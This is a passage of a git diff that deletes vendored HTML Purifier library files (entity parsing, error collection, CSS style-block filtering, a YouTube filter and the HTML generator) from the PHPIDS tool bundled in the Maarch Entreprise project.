";s:4:"zwnj";s:3:"‌";s:3:"zwj";s:3:"â€";s:3:"lrm";s:3:"‎";s:3:"rlm";s:3:"â€";s:5:"ndash";s:3:"–";s:5:"mdash";s:3:"—";s:5:"lsquo";s:3:"‘";s:5:"rsquo";s:3:"’";s:5:"sbquo";s:3:"‚";s:5:"ldquo";s:3:"“";s:5:"rdquo";s:3:"â€";s:5:"bdquo";s:3:"„";s:6:"dagger";s:3:"†";s:6:"Dagger";s:3:"‡";s:6:"permil";s:3:"‰";s:6:"lsaquo";s:3:"‹";s:6:"rsaquo";s:3:"›";s:4:"euro";s:3:"€";s:4:"nbsp";s:2:" ";s:5:"iexcl";s:2:"¡";s:4:"cent";s:2:"¢";s:5:"pound";s:2:"£";s:6:"curren";s:2:"¤";s:3:"yen";s:2:"Â¥";s:6:"brvbar";s:2:"¦";s:4:"sect";s:2:"§";s:3:"uml";s:2:"¨";s:4:"copy";s:2:"©";s:4:"ordf";s:2:"ª";s:5:"laquo";s:2:"«";s:3:"not";s:2:"¬";s:3:"shy";s:2:"Â";s:3:"reg";s:2:"®";s:4:"macr";s:2:"¯";s:3:"deg";s:2:"°";s:6:"plusmn";s:2:"±";s:4:"sup2";s:2:"²";s:4:"sup3";s:2:"³";s:5:"acute";s:2:"´";s:5:"micro";s:2:"µ";s:4:"para";s:2:"¶";s:6:"middot";s:2:"·";s:5:"cedil";s:2:"¸";s:4:"sup1";s:2:"¹";s:4:"ordm";s:2:"º";s:5:"raquo";s:2:"»";s:6:"frac14";s:2:"¼";s:6:"frac12";s:2:"½";s:6:"frac34";s:2:"¾";s:6:"iquest";s:2:"¿";s:6:"Agrave";s:2:"À";s:6:"Aacute";s:2:"Ã";s:5:"Acirc";s:2:"Â";s:6:"Atilde";s:2:"Ã";s:4:"Auml";s:2:"Ä";s:5:"Aring";s:2:"Ã…";s:5:"AElig";s:2:"Æ";s:6:"Ccedil";s:2:"Ç";s:6:"Egrave";s:2:"È";s:6:"Eacute";s:2:"É";s:5:"Ecirc";s:2:"Ê";s:4:"Euml";s:2:"Ë";s:6:"Igrave";s:2:"ÃŒ";s:6:"Iacute";s:2:"Ã";s:5:"Icirc";s:2:"ÃŽ";s:4:"Iuml";s:2:"Ã";s:3:"ETH";s:2:"Ã";s:6:"Ntilde";s:2:"Ñ";s:6:"Ograve";s:2:"Ã’";s:6:"Oacute";s:2:"Ó";s:5:"Ocirc";s:2:"Ô";s:6:"Otilde";s:2:"Õ";s:4:"Ouml";s:2:"Ö";s:5:"times";s:2:"×";s:6:"Oslash";s:2:"Ø";s:6:"Ugrave";s:2:"Ù";s:6:"Uacute";s:2:"Ú";s:5:"Ucirc";s:2:"Û";s:4:"Uuml";s:2:"Ãœ";s:6:"Yacute";s:2:"Ã";s:5:"THORN";s:2:"Þ";s:5:"szlig";s:2:"ß";s:6:"agrave";s:2:"à ";s:6:"aacute";s:2:"á";s:5:"acirc";s:2:"â";s:6:"atilde";s:2:"ã";s:4:"auml";s:2:"ä";s:5:"aring";s:2:"Ã¥";s:5:"aelig";s:2:"æ";s:6:"ccedil";s:2:"ç";s:6:"egrave";s:2:"è";s:6:"eacute";s:2:"é";s:5:"ecirc";s:2:"ê";s:4:"euml";s:2:"ë";s:6:"igrave";s:2:"ì";s:6:"iacute";s:2:"Ã";s:5:"icirc";s:2:"î";s:4:"iuml";s:2:"ï";s:3:"eth";s:2:"ð";s:6:"ntilde";s:2:"ñ";s:6:"ograve";s:2:"ò";s:6:"oacute";s:2:"ó";s:5:"ocirc";s:2:"ô";s:6:"otilde";s:2:"õ";s:4:"ouml";s:2:"ö";s:6:"divide";s:2:"÷";s:6:"oslash";s:2:"ø";s:6:"ugrave";s:2:"ù";s:6:"uacute";s:2:"ú";s:5:"ucirc";s:2:"û";s:4:"uuml";s:2:"ü";s:6:"yacute";s:2:"ý";s:5:"thorn";s:2:"þ";s:4:"yuml";s:2:"ÿ";} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityParser.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityParser.php deleted file mode 100755 index 8369e5b036c375a11fe91731ee95a4ec13856d5c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityParser.php +++ /dev/null @@ -1,144 +0,0 @@ -<?php - -// if want to implement error collecting here, we'll need to use some sort -// of global data (probably trigger_error) because it's impossible to pass -// $config or $context to the callback functions. - -/** - * Handles referencing and derefencing character entities - */ -class HTMLPurifier_EntityParser -{ - - /** - * Reference to entity lookup table. - */ - protected $_entity_lookup; - - /** - * Callback regex string for parsing entities. - */ - protected $_substituteEntitiesRegex = -'/&(?:[#]x([a-fA-F0-9]+)|[#]0*(\d+)|([A-Za-z_:][A-Za-z0-9.\-_:]*));?/'; -// 1. hex 2. dec 3. string (XML style) - - - /** - * Decimal to parsed string conversion table for special entities. - */ - protected $_special_dec2str = - array( - 34 => '"', - 38 => '&', - 39 => "'", - 60 => '<', - 62 => '>' - ); - - /** - * Stripped entity names to decimal conversion table for special entities. - */ - protected $_special_ent2dec = - array( - 'quot' => 34, - 'amp' => 38, - 'lt' => 60, - 'gt' => 62 - ); - - /** - * Substitutes non-special entities with their parsed equivalents. Since - * running this whenever you have parsed character is t3h 5uck, we run - * it before everything else. - * - * @param $string String to have non-special entities parsed. - * @returns Parsed string. - */ - public function substituteNonSpecialEntities($string) { - // it will try to detect missing semicolons, but don't rely on it - return preg_replace_callback( - $this->_substituteEntitiesRegex, - array($this, 'nonSpecialEntityCallback'), - $string - ); - } - - /** - * Callback function for substituteNonSpecialEntities() that does the work. - * - * @param $matches PCRE matches array, with 0 the entire match, and - * either index 1, 2 or 3 set with a hex value, dec value, - * or string (respectively). - * @returns Replacement string. - */ - - protected function nonSpecialEntityCallback($matches) { - // replaces all but big five - $entity = $matches[0]; - $is_num = (@$matches[0][1] === '#'); - if ($is_num) { - $is_hex = (@$entity[2] === 'x'); - $code = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; - - // abort for special characters - if (isset($this->_special_dec2str[$code])) return $entity; - - return HTMLPurifier_Encoder::unichr($code); - } else { - if (isset($this->_special_ent2dec[$matches[3]])) return $entity; - if (!$this->_entity_lookup) { - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - if (isset($this->_entity_lookup->table[$matches[3]])) { - return $this->_entity_lookup->table[$matches[3]]; - } else { - return $entity; - } - } - } - - /** - * Substitutes only special entities with their parsed equivalents. - * - * @notice We try to avoid calling this function because otherwise, it - * would have to be called a lot (for every parsed section). - * - * @param $string String to have non-special entities parsed. - * @returns Parsed string. - */ - public function substituteSpecialEntities($string) { - return preg_replace_callback( - $this->_substituteEntitiesRegex, - array($this, 'specialEntityCallback'), - $string); - } - - /** - * Callback function for substituteSpecialEntities() that does the work. - * - * This callback has same syntax as nonSpecialEntityCallback(). - * - * @param $matches PCRE-style matches array, with 0 the entire match, and - * either index 1, 2 or 3 set with a hex value, dec value, - * or string (respectively). - * @returns Replacement string. - */ - protected function specialEntityCallback($matches) { - $entity = $matches[0]; - $is_num = (@$matches[0][1] === '#'); - if ($is_num) { - $is_hex = (@$entity[2] === 'x'); - $int = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; - return isset($this->_special_dec2str[$int]) ? - $this->_special_dec2str[$int] : - $entity; - } else { - return isset($this->_special_ent2dec[$matches[3]]) ? - $this->_special_ent2dec[$matches[3]] : - $entity; - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorCollector.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorCollector.php deleted file mode 100755 index 50d203cdbdda93770ccb33b237589344d3360db7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorCollector.php +++ /dev/null @@ -1,209 +0,0 @@ -<?php - -/** - * Error collection class that enables HTML Purifier to report HTML - * problems back to the user - */ -class HTMLPurifier_ErrorCollector -{ - - /** - * Identifiers for the returned error array. These are purposely numeric - * so list() can be used. - */ - const LINENO = 0; - const SEVERITY = 1; - const MESSAGE = 2; - const CHILDREN = 3; - - protected $errors; - protected $_current; - protected $_stacks = array(array()); - protected $locale; - protected $generator; - protected $context; - - protected $lines = array(); - - public function __construct($context) { - $this->locale =& $context->get('Locale'); - $this->context = $context; - $this->_current =& $this->_stacks[0]; - $this->errors =& $this->_stacks[0]; - } - - /** - * Sends an error message to the collector for later use - * @param $severity int Error severity, PHP error style (don't use E_USER_) - * @param $msg string Error message text - * @param $subst1 string First substitution for $msg - * @param $subst2 string ... - */ - public function send($severity, $msg) { - - $args = array(); - if (func_num_args() > 2) { - $args = func_get_args(); - array_shift($args); - unset($args[0]); - } - - $token = $this->context->get('CurrentToken', true); - $line = $token ? $token->line : $this->context->get('CurrentLine', true); - $col = $token ? $token->col : $this->context->get('CurrentCol', true); - $attr = $this->context->get('CurrentAttr', true); - - // perform special substitutions, also add custom parameters - $subst = array(); - if (!is_null($token)) { - $args['CurrentToken'] = $token; - } - if (!is_null($attr)) { - $subst['$CurrentAttr.Name'] = $attr; - if (isset($token->attr[$attr])) $subst['$CurrentAttr.Value'] = $token->attr[$attr]; - } - - if (empty($args)) { - $msg = $this->locale->getMessage($msg); - } else { - $msg = $this->locale->formatMessage($msg, $args); - } - - if (!empty($subst)) $msg = strtr($msg, $subst); - - // (numerically indexed) - $error = array( - self::LINENO => $line, - self::SEVERITY => $severity, - self::MESSAGE => $msg, - self::CHILDREN => array() - ); - $this->_current[] = $error; - - - // NEW CODE BELOW ... - - $struct = null; - // Top-level errors are either: - // TOKEN type, if $value is set appropriately, or - // "syntax" type, if $value is null - $new_struct = new HTMLPurifier_ErrorStruct(); - $new_struct->type = HTMLPurifier_ErrorStruct::TOKEN; - if ($token) $new_struct->value = clone $token; - if (is_int($line) && is_int($col)) { - if (isset($this->lines[$line][$col])) { - $struct = $this->lines[$line][$col]; - } else { - $struct = $this->lines[$line][$col] = $new_struct; - } - // These ksorts may present a performance problem - ksort($this->lines[$line], SORT_NUMERIC); - } else { - if (isset($this->lines[-1])) { - $struct = $this->lines[-1]; - } else { - $struct = $this->lines[-1] = $new_struct; - } - } - ksort($this->lines, SORT_NUMERIC); - - // Now, check if we need to operate on a lower structure - if (!empty($attr)) { - $struct = $struct->getChild(HTMLPurifier_ErrorStruct::ATTR, $attr); - if (!$struct->value) { - $struct->value = array($attr, 'PUT VALUE HERE'); - } - } - if (!empty($cssprop)) { - $struct = $struct->getChild(HTMLPurifier_ErrorStruct::CSSPROP, $cssprop); - if (!$struct->value) { - // if we tokenize CSS this might be a little more difficult to do - $struct->value = array($cssprop, 'PUT VALUE HERE'); - } - } - - // Ok, structs are all setup, now time to register the error - $struct->addError($severity, $msg); - } - - /** - * Retrieves raw error data for custom formatter to use - * @param List of arrays in format of array(line of error, - * error severity, error message, - * recursive sub-errors array) - */ - public function getRaw() { - return $this->errors; - } - - /** - * Default HTML formatting implementation for error messages - * @param $config Configuration array, vital for HTML output nature - * @param $errors Errors array to display; used for recursion. - */ - public function getHTMLFormatted($config, $errors = null) { - $ret = array(); - - $this->generator = new HTMLPurifier_Generator($config, $this->context); - if ($errors === null) $errors = $this->errors; - - // 'At line' message needs to be removed - - // generation code for new structure goes here. It needs to be recursive. - foreach ($this->lines as $line => $col_array) { - if ($line == -1) continue; - foreach ($col_array as $col => $struct) { - $this->_renderStruct($ret, $struct, $line, $col); - } - } - if (isset($this->lines[-1])) { - $this->_renderStruct($ret, $this->lines[-1]); - } - - if (empty($errors)) { - return '<p>' . $this->locale->getMessage('ErrorCollector: No errors') . '</p>'; - } else { - return '<ul><li>' . implode('</li><li>', $ret) . '</li></ul>'; - } - - } - - private function _renderStruct(&$ret, $struct, $line = null, $col = null) { - $stack = array($struct); - $context_stack = array(array()); - while ($current = array_pop($stack)) { - $context = array_pop($context_stack); - foreach ($current->errors as $error) { - list($severity, $msg) = $error; - $string = ''; - $string .= '<div>'; - // W3C uses an icon to indicate the severity of the error. - $error = $this->locale->getErrorName($severity); - $string .= "<span class=\"error e$severity\"><strong>$error</strong></span> "; - if (!is_null($line) && !is_null($col)) { - $string .= "<em class=\"location\">Line $line, Column $col: </em> "; - } else { - $string .= '<em class="location">End of Document: </em> '; - } - $string .= '<strong class="description">' . $this->generator->escape($msg) . '</strong> '; - $string .= '</div>'; - // Here, have a marker for the character on the column appropriate. - // Be sure to clip extremely long lines. - //$string .= '<pre>'; - //$string .= ''; - //$string .= '</pre>'; - $ret[] = $string; - } - foreach ($current->children as $type => $array) { - $context[] = $current; - $stack = array_merge($stack, array_reverse($array, true)); - for ($i = count($array); $i > 0; $i--) { - $context_stack[] = $context; - } - } - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php deleted file mode 100755 index b8a276e83743f0a7cc2963d3cbdf3b6f4cc02b6e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php +++ /dev/null @@ -1,60 +0,0 @@ -<?php - -/** - * Records errors for particular segments of an HTML document such as tokens, - * attributes or CSS properties. They can contain error structs (which apply - * to components of what they represent), but their main purpose is to hold - * errors applying to whatever struct is being used. - */ -class HTMLPurifier_ErrorStruct -{ - - /** - * Possible values for $children first-key. Note that top-level structures - * are automatically token-level. - */ - const TOKEN = 0; - const ATTR = 1; - const CSSPROP = 2; - - /** - * Type of this struct. - */ - public $type; - - /** - * Value of the struct we are recording errors for. There are various - * values for this: - * - TOKEN: Instance of HTMLPurifier_Token - * - ATTR: array('attr-name', 'value') - * - CSSPROP: array('prop-name', 'value') - */ - public $value; - - /** - * Errors registered for this structure. - */ - public $errors = array(); - - /** - * Child ErrorStructs that are from this structure. For example, a TOKEN - * ErrorStruct would contain ATTR ErrorStructs. This is a multi-dimensional - * array in structure: [TYPE]['identifier'] - */ - public $children = array(); - - public function getChild($type, $id) { - if (!isset($this->children[$type][$id])) { - $this->children[$type][$id] = new HTMLPurifier_ErrorStruct(); - $this->children[$type][$id]->type = $type; - } - return $this->children[$type][$id]; - } - - public function addError($severity, $message) { - $this->errors[] = array($severity, $message); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php deleted file mode 100755 index defe157e75d3fbc7cc5fafa1f53b4608cbbe91b3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php +++ /dev/null @@ -1,12 +0,0 @@ -<?php - -/** - * Global exception class for HTML Purifier; any exceptions we throw - * are from here. - */ -class HTMLPurifier_Exception extends Exception -{ - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter.php deleted file mode 100755 index b20369c7bccb4d681c94330acb0a6d08d1bd6730..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -/** - * Represents a pre or post processing filter on HTML Purifier's output - * - * Sometimes, a little ad-hoc fixing of HTML has to be done before - * it gets sent through HTML Purifier: you can use filters to acheive - * this effect. For instance, YouTube videos can be preserved using - * this manner. You could have used a decorator for this task, but - * PHP's support for them is not terribly robust, so we're going - * to just loop through the filters. - * - * Filters should be exited first in, last out. If there are three filters, - * named 1, 2 and 3, the order of execution should go 1->preFilter, - * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter, - * 1->postFilter. - * - * @note Methods are not declared abstract as it is perfectly legitimate - * for an implementation not to want anything to happen on a step - */ - -class HTMLPurifier_Filter -{ - - /** - * Name of the filter for identification purposes - */ - public $name; - - /** - * Pre-processor function, handles HTML before HTML Purifier - */ - public function preFilter($html, $config, $context) { - return $html; - } - - /** - * Post-processor function, handles HTML after HTML Purifier - */ - public function postFilter($html, $config, $context) { - return $html; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php deleted file mode 100755 index c64e4612ae8921e9cc6b9dc2d1e5fb05e5afa524..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php +++ /dev/null @@ -1,135 +0,0 @@ -<?php - -/** - * This filter extracts <style> blocks from input HTML, cleans them up - * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') - * so they can be used elsewhere in the document. - * - * @note - * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for - * sample usage. - * - * @note - * This filter can also be used on stylesheets not included in the - * document--something purists would probably prefer. Just directly - * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() - */ -class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter -{ - - public $name = 'ExtractStyleBlocks'; - private $_styleMatches = array(); - private $_tidy; - - public function __construct() { - $this->_tidy = new csstidy(); - } - - /** - * Save the contents of CSS blocks to style matches - * @param $matches preg_replace style $matches array - */ - protected function styleCallback($matches) { - $this->_styleMatches[] = $matches[1]; - } - - /** - * Removes inline <style> tags from HTML, saves them for later use - * @todo Extend to indicate non-text/css style blocks - */ - public function preFilter($html, $config, $context) { - $tidy = $config->get('Filter.ExtractStyleBlocks.TidyImpl'); - if ($tidy !== null) $this->_tidy = $tidy; - $html = preg_replace_callback('#<style(?:\s.*)?>(.+)</style>#isU', array($this, 'styleCallback'), $html); - $style_blocks = $this->_styleMatches; - $this->_styleMatches = array(); // reset - $context->register('StyleBlocks', $style_blocks); // $context must not be reused - if ($this->_tidy) { - foreach ($style_blocks as &$style) { - $style = $this->cleanCSS($style, $config, $context); - } - } - return $html; - } - - /** - * Takes CSS (the stuff found in <style>) and cleans it. - * @warning Requires CSSTidy <http://csstidy.sourceforge.net/> - * @param $css CSS styling to clean - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Cleaned CSS - */ - public function cleanCSS($css, $config, $context) { - // prepare scope - $scope = $config->get('Filter.ExtractStyleBlocks.Scope'); - if ($scope !== null) { - $scopes = array_map('trim', explode(',', $scope)); - } else { - $scopes = array(); - } - // remove comments from CSS - $css = trim($css); - if (strncmp('<!--', $css, 4) === 0) { - $css = substr($css, 4); - } - if (strlen($css) > 3 && substr($css, -3) == '-->') { - $css = substr($css, 0, -3); - } - $css = trim($css); - $this->_tidy->parse($css); - $css_definition = $config->getDefinition('CSS'); - foreach ($this->_tidy->css as $k => $decls) { - // $decls are all CSS declarations inside an @ selector - $new_decls = array(); - foreach ($decls as $selector => $style) { - $selector = trim($selector); - if ($selector === '') continue; // should not happen - if ($selector[0] === '+') { - if ($selector !== '' && $selector[0] === '+') continue; - } - if (!empty($scopes)) { - $new_selector = array(); // because multiple ones are possible - $selectors = array_map('trim', explode(',', $selector)); - foreach ($scopes as $s1) { - foreach ($selectors as $s2) { - $new_selector[] = "$s1 $s2"; - } - } - $selector = implode(', ', $new_selector); // now it's a string - } - foreach ($style as $name => $value) { - if (!isset($css_definition->info[$name])) { - unset($style[$name]); - continue; - } - $def = $css_definition->info[$name]; - $ret = $def->validate($value, $config, $context); - if ($ret === false) unset($style[$name]); - else $style[$name] = $ret; - } - $new_decls[$selector] = $style; - } - $this->_tidy->css[$k] = $new_decls; - } - // remove stuff that shouldn't be used, could be reenabled - // after security risks are analyzed - $this->_tidy->import = array(); - $this->_tidy->charset = null; - $this->_tidy->namespace = null; - $css = $this->_tidy->print->plain(); - // we are going to escape any special characters <>& to ensure - // that no funny business occurs (i.e. </style> in a font-family prop). - if ($config->get('Filter.ExtractStyleBlocks.Escaping')) { - $css = str_replace( - array('<', '>', '&'), - array('\3C ', '\3E ', '\26 '), - $css - ); - } - return $css; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php deleted file mode 100755 index 46338876a912b2a314461e00cd7b15f8e169461e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -class HTMLPurifier_Filter_YouTube extends HTMLPurifier_Filter -{ - - public $name = 'YouTube'; - - public function preFilter($html, $config, $context) { - $pre_regex = '#<object[^>]+>.+?'. - 'http://www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?</object>#s'; - $pre_replace = '<span class="youtube-embed">\1</span>'; - return preg_replace($pre_regex, $pre_replace, $html); - } - - public function postFilter($html, $config, $context) { - $post_regex = '#<span class="youtube-embed">((?:v|cp)/[A-Za-z0-9\-_=]+)</span>#'; - return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html); - } - - protected function armorUrl($url) { - return str_replace('--', '--', $url); - } - - protected function postFilterCallback($matches) { - $url = $this->armorUrl($matches[1]); - return '<object width="425" height="350" type="application/x-shockwave-flash" '. - 'data="http://www.youtube.com/'.$url.'">'. - '<param name="movie" value="http://www.youtube.com/'.$url.'"></param>'. - '<!--[if IE]>'. - '<embed src="http://www.youtube.com/'.$url.'"'. - 'type="application/x-shockwave-flash"'. - 'wmode="transparent" width="425" height="350" />'. - '<![endif]-->'. - '</object>'; - - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php deleted file mode 100755 index 3a75b872587369e23b12caeb0ab93d05fbec8192..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php +++ /dev/null @@ -1,254 +0,0 @@ -<?php - -/** - * Generates HTML from tokens. - * @todo Refactor interface so that configuration/context is determined - * upon instantiation, no need for messy generateFromTokens() calls - * @todo Make some of the more internal functions protected, and have - * unit tests work around that - */ -class HTMLPurifier_Generator -{ - - /** - * Whether or not generator should produce XML output - */ - private $_xhtml = true; - - /** - * :HACK: Whether or not generator should comment the insides of <script> tags - */ - private $_scriptFix = false; - - /** - * Cache of HTMLDefinition during HTML output to determine whether or - * not attributes should be minimized. - */ - private $_def; - - /** - * Cache of %Output.SortAttr - */ - private $_sortAttr; - - /** - * Cache of %Output.FlashCompat - */ - private $_flashCompat; - - /** - * Cache of %Output.FixInnerHTML - */ - private $_innerHTMLFix; - - /** - * Stack for keeping track of object information when outputting IE - * compatibility code. - */ - private $_flashStack = array(); - - /** - * Configuration for the generator - */ - protected $config; - - /** - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - public function __construct($config, $context) { - $this->config = $config; - $this->_scriptFix = $config->get('Output.CommentScriptContents'); - $this->_innerHTMLFix = $config->get('Output.FixInnerHTML'); - $this->_sortAttr = $config->get('Output.SortAttr'); - $this->_flashCompat = $config->get('Output.FlashCompat'); - $this->_def = $config->getHTMLDefinition(); - $this->_xhtml = $this->_def->doctype->xml; - } - - /** - * Generates HTML from an array of tokens. - * @param $tokens Array of HTMLPurifier_Token - * @param $config HTMLPurifier_Config object - * @return Generated HTML - */ - public function generateFromTokens($tokens) { - if (!$tokens) return ''; - - // Basic algorithm - $html = ''; - for ($i = 0, $size = count($tokens); $i < $size; $i++) { - if ($this->_scriptFix && $tokens[$i]->name === 'script' - && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) { - // script special case - // the contents of the script block must be ONE token - // for this to work. - $html .= $this->generateFromToken($tokens[$i++]); - $html .= $this->generateScriptFromToken($tokens[$i++]); - } - $html .= $this->generateFromToken($tokens[$i]); - } - - // Tidy cleanup - if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) { - $tidy = new Tidy; - $tidy->parseString($html, array( - 'indent'=> true, - 'output-xhtml' => $this->_xhtml, - 'show-body-only' => true, - 'indent-spaces' => 2, - 'wrap' => 68, - ), 'utf8'); - $tidy->cleanRepair(); - $html = (string) $tidy; // explicit cast necessary - } - - // Normalize newlines to system defined value - if ($this->config->get('Core.NormalizeNewlines')) { - $nl = $this->config->get('Output.Newline'); - if ($nl === null) $nl = PHP_EOL; - if ($nl !== "\n") $html = str_replace("\n", $nl, $html); - } - return $html; - } - - /** - * Generates HTML from a single token. - * @param $token HTMLPurifier_Token object. - * @return Generated HTML - */ - public function generateFromToken($token) { - if (!$token instanceof HTMLPurifier_Token) { - trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING); - return ''; - - } elseif ($token instanceof HTMLPurifier_Token_Start) { - $attr = $this->generateAttributes($token->attr, $token->name); - if ($this->_flashCompat) { - if ($token->name == "object") { - $flash = new stdclass(); - $flash->attr = $token->attr; - $flash->param = array(); - $this->_flashStack[] = $flash; - } - } - return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_End) { - $_extra = ''; - if ($this->_flashCompat) { - if ($token->name == "object" && !empty($this->_flashStack)) { - // doesn't do anything for now - } - } - return $_extra . '</' . $token->name . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_Empty) { - if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) { - $this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value']; - } - $attr = $this->generateAttributes($token->attr, $token->name); - return '<' . $token->name . ($attr ? ' ' : '') . $attr . - ( $this->_xhtml ? ' /': '' ) // <br /> v. <br> - . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_Text) { - return $this->escape($token->data, ENT_NOQUOTES); - - } elseif ($token instanceof HTMLPurifier_Token_Comment) { - return '<!--' . $token->data . '-->'; - } else { - return ''; - - } - } - - /** - * Special case processor for the contents of script tags - * @warning This runs into problems if there's already a literal - * --> somewhere inside the script contents. - */ - public function generateScriptFromToken($token) { - if (!$token instanceof HTMLPurifier_Token_Text) return $this->generateFromToken($token); - // Thanks <http://lachy.id.au/log/2005/05/script-comments> - $data = preg_replace('#//\s*$#', '', $token->data); - return '<!--//--><![CDATA[//><!--' . "\n" . trim($data) . "\n" . '//--><!]]>'; - } - - /** - * Generates attribute declarations from attribute array. - * @note This does not include the leading or trailing space. - * @param $assoc_array_of_attributes Attribute array - * @param $element Name of element attributes are for, used to check - * attribute minimization. - * @return Generate HTML fragment for insertion. - */ - public function generateAttributes($assoc_array_of_attributes, $element = false) { - $html = ''; - if ($this->_sortAttr) ksort($assoc_array_of_attributes); - foreach ($assoc_array_of_attributes as $key => $value) { - if (!$this->_xhtml) { - // Remove namespaced attributes - if (strpos($key, ':') !== false) continue; - // Check if we should minimize the attribute: val="val" -> val - if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) { - $html .= $key . ' '; - continue; - } - } - // Workaround for Internet Explorer innerHTML bug. - // Essentially, Internet Explorer, when calculating - // innerHTML, omits quotes if there are no instances of - // angled brackets, quotes or spaces. However, when parsing - // HTML (for example, when you assign to innerHTML), it - // treats backticks as quotes. Thus, - // <img alt="``" /> - // becomes - // <img alt=`` /> - // becomes - // <img alt='' /> - // Fortunately, all we need to do is trigger an appropriate - // quoting style, which we do by adding an extra space. - // This also is consistent with the W3C spec, which states - // that user agents may ignore leading or trailing - // whitespace (in fact, most don't, at least for attributes - // like alt, but an extra space at the end is barely - // noticeable). Still, we have a configuration knob for - // this, since this transformation is not necesary if you - // don't process user input with innerHTML or you don't plan - // on supporting Internet Explorer. - if ($this->_innerHTMLFix) { - if (strpos($value, '`') !== false) { - // check if correct quoting style would not already be - // triggered - if (strcspn($value, '"\' <>') === strlen($value)) { - // protect! - $value .= ' '; - } - } - } - $html .= $key.'="'.$this->escape($value).'" '; - } - return rtrim($html); - } - - /** - * Escapes raw text data. - * @todo This really ought to be protected, but until we have a facility - * for properly generating HTML here w/o using tokens, it stays - * public. - * @param $string String data to escape for HTML. - * @param $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is - * permissible for non-attribute output. - * @return String escaped data. - */ - public function escape($string, $quote = null) { - // Workaround for APC bug on Mac Leopard reported by sidepodcast - // http://htmlpurifier.org/phorum/read.php?3,4823,4846 - if ($quote === null) $quote = ENT_COMPAT; - return htmlspecialchars($string, $quote, 'UTF-8'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php 